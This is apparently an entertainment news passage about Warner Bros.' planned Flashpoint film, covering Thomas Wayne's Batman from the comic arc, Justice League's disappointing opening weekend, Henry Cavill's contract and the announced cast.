Thomas Wayne’s Batman plays a major part in the Flashpoint arc, allying with Barry Allen early on in the arc after Barry reveals his identity and pleads with the grizzled vigilante to help him regain his powers. In Flashpoint, it is Bruce Wayne who dies at the hands of an armed mugger and it makes a huge impact on his parents: Martha is driven mad with grief and turns into the Flashpoint version of the Joker, while Thomas takes on the Batman mantle, albeit with a more murderous bent. In Batman v Superman: Dawn of Justice, director Zack Snyder seems to plant seeds for a more vigorous Thomas Wayne, as played by Jeffrey Dean Morgan. You can see Snyder’s Thomas lunging forward before he is shot.

However, the disappointing box office numbers of Justice League on its opening weekend may put the fate of Flashpoint in jeopardy. We learned last month that Warner Bros. executives are carefully watching Justice League‘s critical and box office performance to determine whether to move ahead with Flashpoint. The reviews already looked concerning, but with Justice League falling short of its $ 110 million estimates with its $ 94 million opening weekend, it’s possible that Warner Bros. could be rethinking its Flashpoint strategy.

Another factor to take into consideration: Henry Cavill reportedly has one DC Extended Universe movie left in his contract with Warner Bros., which makes me wonder if his Superman will complete the Trinity in Flashpoint. Storywise it’s unlikely: the Superman we meet in Flashpoint is a decrepit, pitiful version of the Man of Steel, and unless Warner Bros. plans to Benjamin Button Henry Cavill down to size, it’s unlikely that appearance would count to his contract. It’s more likely he’ll appear in Man of Steel 2 — the fate of which is also up in the air post-Justice League.

For now, Flashpoint still takes up a spot on Warner Bros.’ sparse DCEU slate, with Ezra Miller set to star as Barry Allen, as well as Kiersey Clemons as Iris West, Billy Crudup as Barry’s father Henry Allen, and Ray Fisher as Cyborg. It will arrive sometime in 2020. Maybe.

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